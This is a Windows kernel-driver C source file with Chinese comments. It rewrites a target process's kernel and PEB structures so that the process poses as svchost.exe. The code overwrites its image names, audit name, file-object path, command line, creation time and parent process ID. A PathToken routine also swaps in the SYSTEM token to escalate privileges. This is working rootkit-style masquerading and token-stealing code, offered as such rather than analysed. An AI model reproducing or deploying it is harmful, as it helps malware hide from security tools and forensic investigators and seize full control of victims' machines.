```
#include "pch.h"

#pragma warning(disable: 4214)
#pragma warning(disable: 4057)
#pragma warning(disable: 4201)
#pragma warning(disable: 4267)

typedef struct _LDR_DATA_TABLE_ENTRY                          // 24 elements, 0xE0 bytes (sizeof)
{
    /*0x000*/     struct _LIST_ENTRY InLoadOrderLinks;                    // 2 elements, 0x10 bytes (sizeof)
    /*0x010*/     struct _LIST_ENTRY InMemoryOrderLinks;                  // 2 elements, 0x10 bytes (sizeof)
    /*0x020*/     struct _LIST_ENTRY InInitializationOrderLinks;          // 2 elements, 0x10 bytes (sizeof)
    /*0x030*/     VOID*        DllBase;
    /*0x038*/     VOID*        EntryPoint;
    /*0x040*/     ULONG32      SizeOfImage;
    /*0x044*/     UINT8        _PADDING0_[0x4];
    /*0x048*/     struct _UNICODE_STRING FullDllName;                     // 3 elements, 0x10 bytes (sizeof)
    /*0x058*/     struct _UNICODE_STRING BaseDllName;                     // 3 elements, 0x10 bytes (sizeof)
}LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;

typedef struct _CURDIR              // 2 elements, 0x18 bytes (sizeof)
{
    /*0x000*/     struct _UNICODE_STRING DosPath; // 3 elements, 0x10 bytes (sizeof)
    /*0x010*/     VOID*        Handle;
}CURDIR, *PCURDIR;

typedef struct _RTL_USER_PROCESS_PARAMETERS                // 30 elements, 0x400 bytes (sizeof)
{
    /*0x000*/     ULONG32      MaximumLength;
    /*0x004*/     ULONG32      Length;
    /*0x008*/     ULONG32      Flags;
    /*0x00C*/     ULONG32      DebugFlags;
    /*0x010*/     VOID*        ConsoleHandle;
    /*0x018*/     ULONG32      ConsoleFlags;
    /*0x01C*/     UINT8        _PADDING0_[0x4];
    /*0x020*/     VOID*        StandardInput;
    /*0x028*/     VOID*        StandardOutput;
    /*0x030*/     VOID*        StandardError;
    /*0x038*/     struct _CURDIR CurrentDirectory;                        // 2 elements, 0x18 bytes (sizeof)
    /*0x050*/     struct _UNICODE_STRING DllPath;                         // 3 elements, 0x10 bytes (sizeof)
    /*0x060*/     struct _UNICODE_STRING ImagePathName;                   // 3 elements, 0x10 bytes (sizeof)
    /*0x070*/     struct _UNICODE_STRING CommandLine;                     // 3 elements, 0x10 bytes (sizeof)
    /*0x080*/     VOID*        Environment;
    /*0x088*/     ULONG32      StartingX;
    /*0x08C*/     ULONG32      StartingY;
    /*0x090*/     ULONG32      CountX;
    /*0x094*/     ULONG32      CountY;
    /*0x098*/     ULONG32      CountCharsX;
    /*0x09C*/     ULONG32      CountCharsY;
    /*0x0A0*/     ULONG32      FillAttribute;
    /*0x0A4*/     ULONG32      WindowFlags;
    /*0x0A8*/     ULONG32      ShowWindowFlags;
    /*0x0AC*/     UINT8        _PADDING1_[0x4];
    /*0x0B0*/     struct _UNICODE_STRING WindowTitle;                     // 3 elements, 0x10 bytes (sizeof)
    /*0x0C0*/     struct _UNICODE_STRING DesktopInfo;                     // 3 elements, 0x10 bytes (sizeof)
    /*0x0D0*/     struct _UNICODE_STRING ShellInfo;                       // 3 elements, 0x10 bytes (sizeof)
```

```
    /*0x0E0*/     struct _UNICODE_STRING RuntimeData;                     // 3 elements, 0x10 bytes (sizeof)
}RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;


typedef struct _PEB_LDR_DATA                            // 9 elements, 0x58 bytes (sizeof)
{
    /*0x000*/     ULONG32      Length;
    /*0x004*/     UINT8        Initialized;
    /*0x005*/     UINT8        _PADDING0_[0x3];
    /*0x008*/     VOID*        SsHandle;
    /*0x010*/     struct _LIST_ENTRY InLoadOrderModuleList;           // 2 elements, 0x10 bytes (sizeof)
    /*0x020*/     struct _LIST_ENTRY InMemoryOrderModuleList;         // 2 elements, 0x10 bytes (sizeof)
    /*0x030*/     struct _LIST_ENTRY InInitializationOrderModuleList; // 2 elements, 0x10 bytes (sizeof)
    /*0x040*/     VOID*        EntryInProgress;
    /*0x048*/     UINT8        ShutdownInProgress;
    /*0x049*/     UINT8        _PADDING1_[0x7];
    /*0x050*/     VOID*        ShutdownThreadId;
}PEB_LDR_DATA, *PPEB_LDR_DATA;


typedef struct _PEB
          // 91 elements, 0x380 bytes (sizeof)
{
    /*0x000*/     UINT8        InheritedAddressSpace;
    /*0x001*/     UINT8        ReadImageFileExecOptions;
    /*0x002*/     UINT8        BeingDebugged;
    union
          // 2 elements, 0x1 bytes (sizeof)
    {
        /*0x003*/         UINT8        BitField;
        struct
           // 6 elements, 0x1 bytes (sizeof)
        {
            /*0x003*/             UINT8        ImageUsesLargePages : 1;
                                  // 0 BitPosition
            /*0x003*/             UINT8        IsProtectedProcess : 1;
                                   // 1 BitPosition
            /*0x003*/             UINT8        IsLegacyProcess : 1;
                                  // 2 BitPosition
            /*0x003*/             UINT8        IsImageDynamicallyRelocated : 1;
                                  // 3 BitPosition
            /*0x003*/             UINT8        SkipPatchingUser32Forwarders : 1;
                                   // 4 BitPosition
            /*0x003*/             UINT8        SpareBits : 3;
                                  // 5 BitPosition
        };
    };
    /*0x008*/     VOID*        Mutant;
    /*0x010*/     VOID*        ImageBaseAddress;
    /*0x018*/     struct _PEB_LDR_DATA* Ldr;
    /*0x020*/     struct _RTL_USER_PROCESS_PARAMETERS* ProcessParameters;
}PEB, *PPEB;

/*
+0x2e0 ImageFileName    : [15]  "explorer.exe"
0: kd> dt _SE_AUDIT_PROCESS_CREATION_INFO fffffa80037a7b30+0x390
nt!_SE_AUDIT_PROCESS_CREATION_INFO
+0x000 ImageFileName    : 0xfffffa80`037a89b0 _OBJECT_NAME_INFORMATION
0: kd> dt 0xfffffa80`037a89b0 _OBJECT_NAME_INFORMATION
nt!_OBJECT_NAME_INFORMATION
+0x000 Name             : _UNICODE_STRING "\Device\HarddiskVolume1\Windows\explorer.exe"
PEB ProcessParameters
+0x060 ImagePathName    : _UNICODE_STRING "C:\Windows\Explorer.EXE"
+0x070 CommandLine      : _UNICODE_STRING "C:\Windows\Explorer.EXE"
+0x080 Environment      : 0x00000000`02932eb0 Void
+0x088 StartingX        : 0
+0x08c StartingY        : 0
+0x090 CountX           : 0
```

```
+0x094 CountY           : 0
+0x098 CountCharsX      : 0
+0x09c CountCharsY      : 1
+0x0a0 FillAttribute    : 0x175
+0x0a4 WindowFlags      : 1
+0x0a8 ShowWindowFlags  : 1
+0x0b0 WindowTitle      : _UNICODE_STRING "C:\Windows\Explorer.EXE"
+0x0c0 DesktopInfo      : _UNICODE_STRING "Winsta0\Default"
+0x0d0 ShellInfo        : _UNICODE_STRING "C:\Windows\Explorer.EXE"
InLoadOrderModuleList InMemoryOrderLinks是同一片内存区域(前者+0x10就是后者 只需要改一个地方就行 最好前者)
*/

WCHAR* g_szTarSeAuditProcessName = NULL;
WCHAR* g_szTarPebFullName = NULL;
WCHAR* g_szTarPebBaseName = NULL;
WCHAR* g_szTarFileObjectName = NULL;
WCHAR* g_szTarPebCurrentDir = NULL;
WCHAR* g_szTarWin10ImageFilePointerName = NULL; //offset 0x448
LARGE_INTEGER g_TarCreateTime = { 0 };
ULONG_PTR g_TarInheritedFromUniqueProcessId = 0;

// 获取被伪装的进程的一些信息
NTSTATUS PsGetTarProcessInfo(HANDLE pid)
{
    // SE_AUDIT_PROCESS_CREATION_INFO
    // PEB ProcessParameters
    // PEB Ldr
    PPEB peb = NULL;
    PLDR_DATA_TABLE_ENTRY ldr = NULL;
    PEPROCESS Process = NULL;
    NTSTATUS status = STATUS_UNSUCCESSFUL;
    PUNICODE_STRING SeAuditName = NULL;
    PUNICODE_STRING SelocateName = NULL;
    PFILE_OBJECT pFileObject = NULL;

    status = PsLookupProcessByProcessId(pid, &Process);

    if (!NT_SUCCESS(status))
        return status;

    g_TarCreateTime.QuadPart = PsGetProcessCreateTimeQuadPart(Process);
    g_TarInheritedFromUniqueProcessId = PsGetProcessInheritedFromUniqueProcessId(Process);

    if (*NtBuildNumber > 9600)
    {
        g_szTarWin10ImageFilePointerName = ExAllocatePool(NonPagedPool, KMAX_PATH * 2);
        if (g_szTarWin10ImageFilePointerName == NULL)
            return STATUS_NO_MEMORY;

        RtlZeroMemory(g_szTarWin10ImageFilePointerName, KMAX_PATH * 2);
    }

    if (g_szTarPebBaseName == NULL)
        g_szTarPebBaseName = ExAllocatePool(NonPagedPool, MAX_PATH * 2);

    if (g_szTarPebFullName == NULL)
        g_szTarPebFullName = ExAllocatePool(NonPagedPool, MAX_PATH * 2);

    if (g_szTarSeAuditProcessName == NULL)
        g_szTarSeAuditProcessName = ExAllocatePool(NonPagedPool, KMAX_PATH * 2);

    if(g_szTarFileObjectName == NULL)
        g_szTarFileObjectName = ExAllocatePool(NonPagedPool, KMAX_PATH * 2);

    if (g_szTarPebCurrentDir == NULL)
        g_szTarPebCurrentDir = ExAllocatePool(NonPagedPool, KMAX_PATH * 2);

    if (g_szTarPebBaseName && g_szTarPebFullName && g_szTarSeAuditProcessName && g_szTarFileObjectName && g_szTarPebCurrentDir)
    {
        RtlZeroMemory(g_szTarPebBaseName, MAX_PATH * 2);
        RtlZeroMemory(g_szTarPebFullName, MAX_PATH * 2);
```

```
        RtlZeroMemory(g_szTarSeAuditProcessName, KMAX_PATH * 2);
        RtlZeroMemory(g_szTarFileObjectName, KMAX_PATH * 2);
        RtlZeroMemory(g_szTarPebCurrentDir, KMAX_PATH * 2);

        if (!NT_SUCCESS(SeLocateProcessImageName(Process, &SelocateName)))
            return STATUS_UNSUCCESSFUL;

        ExFreePool(SelocateName);

        if (!NT_SUCCESS(PsReferenceProcessFilePointer(Process, &pFileObject)))
            return STATUS_UNSUCCESSFUL;

        RtlCopyMemory(g_szTarFileObjectName, pFileObject->FileName.Buffer, pFileObject->FileName.Length);

        ObDereferenceObject(pFileObject);

        if (*NtBuildNumber > 9600)
        {
            pFileObject = (PFILE_OBJECT)(*(PULONG_PTR)((ULONG_PTR)Process + 0x448)); //+0x448 ImageFilePointer
            if (!MmIsAddressValid(pFileObject))
            {
                ObDereferenceObject(Process);
                return STATUS_UNSUCCESSFUL;
            }

            RtlCopyMemory(g_szTarWin10ImageFilePointerName, pFileObject->FileName.Buffer, pFileObject->FileName.Length);
        }

        if(*NtBuildNumber < 9600)
            SeAuditName = (PUNICODE_STRING)(*(PULONG_PTR)((ULONG_PTR)Process + 0x390)); // win7 offset
        else
            SeAuditName = (PUNICODE_STRING)(*(PULONG_PTR)((ULONG_PTR)Process + 0x468)); // win10 offset 14393 15063 16299

        if (!MmIsAddressValid(SeAuditName))
        {
            ObDereferenceObject(Process);
            return STATUS_UNSUCCESSFUL;
        }

        RtlCopyMemory(g_szTarSeAuditProcessName, SeAuditName->Buffer, SeAuditName->Length);

        peb = PsGetProcessPeb(Process);

        KeAttachProcess(Process);

        __try {
            RtlCopyMemory(g_szTarPebFullName, peb->ProcessParameters->ImagePathName.Buffer, peb->ProcessParameters->ImagePathName.Length);
            ldr = (PLDR_DATA_TABLE_ENTRY)peb->Ldr->InLoadOrderModuleList.Flink;
            RtlCopyMemory(g_szTarPebBaseName, ldr->BaseDllName.Buffer, ldr->BaseDllName.Length);
            RtlCopyMemory(g_szTarPebCurrentDir, peb->ProcessParameters->CurrentDirectory.DosPath.Buffer, peb->ProcessParameters->CurrentDirectory.DosPath.Length);
            status = STATUS_SUCCESS;
        }
        __except (1)
        {
        }

        KeDetachProcess();

    }
    else
    {
        status = STATUS_NO_MEMORY;
    }

```

```
    ObDereferenceObject(Process);

    return status;
}

BOOLEAN PathWin10ImageNamePoint(PEPROCESS Process, WCHAR* szFullName)
{
    BOOLEAN bRet = FALSE;
    PFILE_OBJECT pFileObject = NULL;
    WCHAR* szNewFullName = NULL;

    if (szFullName == NULL || Process == NULL)
        return FALSE;

    szNewFullName = ExAllocatePool(NonPagedPool, KMAX_PATH * 2);
    if (szNewFullName == NULL)
        return FALSE;

    RtlZeroMemory(szNewFullName, KMAX_PATH * 2);

    pFileObject = (PFILE_OBJECT)(*(PULONG_PTR)((ULONG_PTR)Process + 0x448)); //+0x448 ImageFilePointer

    if (!MmIsAddressValid(pFileObject))
    {
        ExFreePool(szNewFullName);
        return FALSE;
    }

    if (pFileObject->FileName.Length >= wcslen(szFullName) * 2)
    {
        RtlZeroMemory(pFileObject->FileName.Buffer, pFileObject->FileName.MaximumLength);
        RtlCopyMemory(pFileObject->FileName.Buffer, szFullName, wcslen(szFullName) * 2);
        pFileObject->FileName.Length = wcslen(szFullName) * 2;
        ExFreePool(szNewFullName);
        bRet = TRUE;
    }
    else
    {
        RtlCopyMemory(szNewFullName, szFullName, wcslen(szFullName) * 2);
        pFileObject->FileName.Buffer = szNewFullName;
        pFileObject->FileName.Length = wcslen(szFullName) * 2;
        pFileObject->FileName.MaximumLength = KMAX_PATH * 2;
        bRet = TRUE;
    }

    return bRet;
}

BOOLEAN PathSeFileObject(PEPROCESS Process, WCHAR* szFullName)
{
    BOOLEAN bRet = FALSE;
    PFILE_OBJECT pFileObject = NULL;
    WCHAR* szNewFullName = NULL;

    if (szFullName == NULL || Process == NULL)
        return FALSE;

    szNewFullName = ExAllocatePool(NonPagedPool, KMAX_PATH * 2);
    if (szNewFullName == NULL)
        return FALSE;

    RtlZeroMemory(szNewFullName, KMAX_PATH * 2);

    if (!NT_SUCCESS(PsReferenceProcessFilePointer(Process, &pFileObject)))
        return FALSE;

    if (pFileObject->FileName.Length >= wcslen(szFullName) * 2)
    {
        RtlZeroMemory(pFileObject->FileName.Buffer, pFileObject->FileName.MaximumLength);
```

```
        RtlCopyMemory(pFileObject->FileName.Buffer, szFullName, wcslen(szFullName) * 2);
        pFileObject->FileName.Length = wcslen(szFullName) * 2;
        ExFreePool(szNewFullName);
        bRet = TRUE;
    }
    else
    {
        RtlCopyMemory(szNewFullName, szFullName, wcslen(szFullName) * 2);
        pFileObject->FileName.Buffer = szNewFullName;
        pFileObject->FileName.Length = wcslen(szFullName) * 2;
        pFileObject->FileName.MaximumLength = KMAX_PATH * 2;
        bRet = TRUE;
    }

    ObDereferenceObject(pFileObject);
    return bRet;
}

BOOLEAN PathPebLdr(PEPROCESS Process, WCHAR* szFullName, WCHAR* szBaseName)
{
    PPEB peb = NULL;
    BOOLEAN bRet = FALSE;
    BOOLEAN bAttach = FALSE;
    PLDR_DATA_TABLE_ENTRY ldr = NULL;
    if (Process == NULL || szFullName == NULL || szBaseName == NULL)
        return FALSE;

    do
    {
        peb = PsGetProcessPeb(Process);

        if (peb == NULL)
            break;

        KeAttachProcess(Process);
        bAttach = TRUE;

        __try {
            ldr = (PLDR_DATA_TABLE_ENTRY)peb->Ldr->InLoadOrderModuleList.Flink;

            if (!MmIsAddressValid(ldr))
                break;

            if (ldr->FullDllName.Length < wcslen(szFullName) * 2)
                break;

            if (ldr->BaseDllName.Length < wcslen(szBaseName) * 2)
                break;

            RtlZeroMemory(ldr->FullDllName.Buffer, ldr->FullDllName.MaximumLength);
            RtlCopyMemory(ldr->FullDllName.Buffer, szFullName, wcslen(szFullName) * 2);

            RtlZeroMemory(ldr->BaseDllName.Buffer, ldr->BaseDllName.MaximumLength);
            RtlCopyMemory(ldr->BaseDllName.Buffer, szBaseName, wcslen(szBaseName) * 2);
            bRet = TRUE;
        }
        __except (1)
        {
        }

    } while (FALSE);

    if (bAttach)
        KeDetachProcess();

    return bRet;
}

BOOLEAN PathPebProcessParameters(PEPROCESS Process, WCHAR* szFullName)
{
    BOOLEAN bRet = FALSE;
    BOOLEAN bAttach = FALSE;
    PPEB Peb = NULL;
```

```
393
394     if (Process == NULL || szFullName == NULL)
395         return FALSE;
396
397     do
398     {
399         Peb = PsGetProcessPeb(Process);
400
401         if (Peb == NULL)
402             break;
403
404         KeAttachProcess(Process);
405         bAttach = TRUE;
406
407         __try {
408             if (Peb->ProcessParameters->ImagePathName.Length < wcslen(szFullName) * 2)
409                 break;
410
411             RtlZeroMemory(Peb->ProcessParameters->ImagePathName.Buffer, Peb-
>ProcessParameters->ImagePathName.MaximumLength);
412             RtlCopyMemory(Peb->ProcessParameters->ImagePathName.Buffer, szFullName,
wcslen(szFullName) * 2);
413
414             RtlZeroMemory(Peb->ProcessParameters->CommandLine.Buffer, Peb-
>ProcessParameters->CommandLine.MaximumLength);
415             RtlCopyMemory(Peb->ProcessParameters->CommandLine.Buffer, szFullName,
wcslen(szFullName) * 2);
416
417             if (Peb->ProcessParameters->WindowTitle.Length >= wcslen(szFullName) * 2)
418             {
419                 RtlZeroMemory(Peb->ProcessParameters->WindowTitle.Buffer, Peb-
>ProcessParameters->WindowTitle.MaximumLength);
420                 RtlCopyMemory(Peb->ProcessParameters->WindowTitle.Buffer, szFullName,
wcslen(szFullName) * 2);
421             }
422
423             if (Peb->ProcessParameters->ShellInfo.Length >= wcslen(szFullName) * 2)
424             {
425                 RtlZeroMemory(Peb->ProcessParameters->ShellInfo.Buffer, Peb-
>ProcessParameters->ShellInfo.MaximumLength);
426                 RtlCopyMemory(Peb->ProcessParameters->ShellInfo.Buffer, szFullName,
wcslen(szFullName) * 2);
427             }
428
429             if (Peb->ProcessParameters->CurrentDirectory.DosPath.Length >=
wcslen(g_szTarPebCurrentDir) * 2)
430             {
431                 RtlZeroMemory(Peb->ProcessParameters->CurrentDirectory.DosPath.Buffer,
Peb->ProcessParameters->CurrentDirectory.DosPath.MaximumLength);
432                 RtlCopyMemory(Peb->ProcessParameters->CurrentDirectory.DosPath.Buffer,
g_szTarPebCurrentDir, wcslen(g_szTarPebCurrentDir) * 2);
433             }
434             bRet = TRUE;
435         }
436         __except (1)
437         {
438
439         }
440
441     } while (FALSE);
442
443     if(bAttach)
444         KeDetachProcess();
445
446     return bRet;
447 }
448
449 // 这里的ProcessName 为全路径 \Device\HarddiskVolume1\Windows\explorer.exe 这里使用
GetTarProcessInfo去获取即可
450 BOOLEAN PathSeAuditProcessCreationInfo(PEPROCESS Process, WCHAR* ProcessName)
451 {
452     PUNICODE_STRING Name = NULL;
453     PUNICODE_STRING SelocateName = NULL;
454
```

```
    if (Process == NULL || ProcessName == NULL)
        return FALSE;

    if (!NT_SUCCESS(SeLocateProcessImageName(Process, &SelocateName)))
        return FALSE;

    ExFreePool(SelocateName);

    if(*NtBuildNumber < 9600)
        Name = (PUNICODE_STRING)(*(PULONG_PTR)((ULONG_PTR)Process + 0x390));
    else
        Name = (PUNICODE_STRING)(*(PULONG_PTR)((ULONG_PTR)Process + 0x468));

    if (!MmIsAddressValid(Name))
        return FALSE;

    if ((wcslen(ProcessName) * 2) > Name->Length)
    {
        return FALSE;
    }

    RtlZeroMemory(Name->Buffer, Name->MaximumLength);
    RtlCopyMemory(Name->Buffer, ProcessName, wcslen(ProcessName) * 2);
    Name->Length = wcslen(ProcessName) * 2;
    return TRUE;
}

// cName15字节的大小 分配内存时注意要大于15
BOOLEAN PathImageFileName(PEPROCESS Process, char* cName)
{
    char    szNameBuff[15] = { 0 };
    char*   szProcessBuff = NULL;
    size_t  cNamelen = 0;

    if (Process == NULL || cName == NULL)
        return FALSE;

    cNamelen = strlen(cName);

    RtlZeroMemory(szNameBuff, sizeof(szNameBuff));
    if(cNamelen > 15)
        RtlCopyMemory(szNameBuff, cName, sizeof(szNameBuff));
    else
        RtlCopyMemory(szNameBuff, cName, cNamelen);
    szProcessBuff = PsGetProcessImageFileName(Process);
    RtlZeroMemory(szProcessBuff, sizeof(szNameBuff));
    RtlCopyMemory(szProcessBuff, szNameBuff, sizeof(szNameBuff));

    return TRUE;
}

PACCESS_TOKEN GetProceesTokenAddress(ULONG_PTR Address)
{
    //
    // To get an address of a token from the Token field in EPROCESS, the lowest
    // N bits where N is size of a RefCnt field needs to be masked.
    //
    // kd> dt nt!_EX_FAST_REF
    //   + 0x000 Object : Ptr64 Void
    //   + 0x000 RefCnt : Pos 0, 4 Bits
    //   + 0x000 Value  : Uint8B
    //
    ULONG_PTR Value = *(ULONG_PTR*)(Address);
    return (PACCESS_TOKEN)(Value & ((ULONG_PTR)(~0xf)));
}

BOOLEAN PathToken(PEPROCESS Process)
{
    PACCESS_TOKEN CurrentToken = NULL;
    PACCESS_TOKEN SystemToken = NULL;
    BOOLEAN bRet = FALSE;
    CurrentToken = PsReferencePrimaryToken(Process);
    SystemToken = PsReferencePrimaryToken(PsInitialSystemProcess);

```

```
    for (auto Offset = 0ul; Offset < sizeof(void *) * 0x80;
        Offset += sizeof(void *))
    {
        // Is this address stores token?
        ULONG_PTR TestAddress = (ULONG_PTR)Process + Offset;
        PACCESS_TOKEN ProbableToken = GetProceesTokenAddress(TestAddress);
        if (ProbableToken == CurrentToken)
        {
            // Found the field, replace the contents with the SYSTEM token
            PACCESS_TOKEN* TokenAddress = (PACCESS_TOKEN*)(TestAddress);
            *TokenAddress = SystemToken;
            bRet = TRUE;
            break;
        }
    }
    //ULONG_PTR TestAddress = (ULONG_PTR)Process + 0x358;
    //PACCESS_TOKEN ProbableToken = GetProceesTokenAddress(TestAddress);
    //if (ProbableToken == CurrentToken)
    //{
    //    // Found the field, replace the contents with the SYSTEM token
    //    PACCESS_TOKEN* TokenAddress = (PACCESS_TOKEN*)(TestAddress);
    //    *TokenAddress = SystemToken;
    //    bRet = TRUE;
    //}

    PsDereferencePrimaryToken(CurrentToken);
    PsDereferencePrimaryToken(SystemToken);
    return bRet;
}

BOOLEAN PathCreateTime(PEPROCESS Process)
{
    ULONG offset = 0;
    offset = *(PULONG)((ULONG_PTR)PsGetProcessCreateTimeQuadPart + 3);
    if (offset)
    {
        *(LARGE_INTEGER*)((ULONG_PTR)Process + offset) = g_TarCreateTime;
        return TRUE;
    }
    return FALSE;
}

BOOLEAN PathInheritedFromUniqueProcessId(PEPROCESS Process)
{
    ULONG offset = 0;
    offset = *(PULONG)((ULONG_PTR)PsGetProcessInheritedFromUniqueProcessId + 3);
    if (offset)
    {
        *(ULONG_PTR*)((ULONG_PTR)Process + offset) = g_TarInheritedFromUniqueProcessId;
        return TRUE;
    }
    return FALSE;
}

BOOLEAN PathModification(HANDLE pid)
{
    HANDLE SvchostPid = NULL;
    PEPROCESS Process = NULL;
    //DbgBreakPoint();

    // 不支持x86进程
    if (!PsIs64BitProcess(pid))
        return FALSE;

    SvchostPid = (HANDLE)PsGetProcesIdBitByName("svchost.exe", TRUE);

    if (SvchostPid == NULL)
        return FALSE;

    if (!NT_SUCCESS(PsGetTarProcessInfo(SvchostPid)))
        return FALSE;

    if (!NT_SUCCESS(PsLookupProcessByProcessId(pid, &Process)))
        return FALSE;
```

```
603
604     PathSeFileObject(Process, g_szTarFileObjectName);
605
606     if (*NtBuildNumber > 9600)
607         PathWin10ImageNamePoint(Process, g_szTarWin10ImageFilePointerName);
608
609     PathImageFileName(Process, "svchost.exe");
610
611     PathSeAuditProcessCreationInfo(Process, g_szTarSeAuditProcessName);
612
613     PathPebProcessParameters(Process, g_szTarPebFullName);
614
615     PathPebLdr(Process, g_szTarPebFullName, g_szTarPebBaseName);
616
617     //PathToken(Process);
618
619     PathCreateTime(Process);
620
621     PathInheritedFromUniqueProcessId(Process);
622
623     ObDereferenceObject(Process);
624     return TRUE;
625 }
```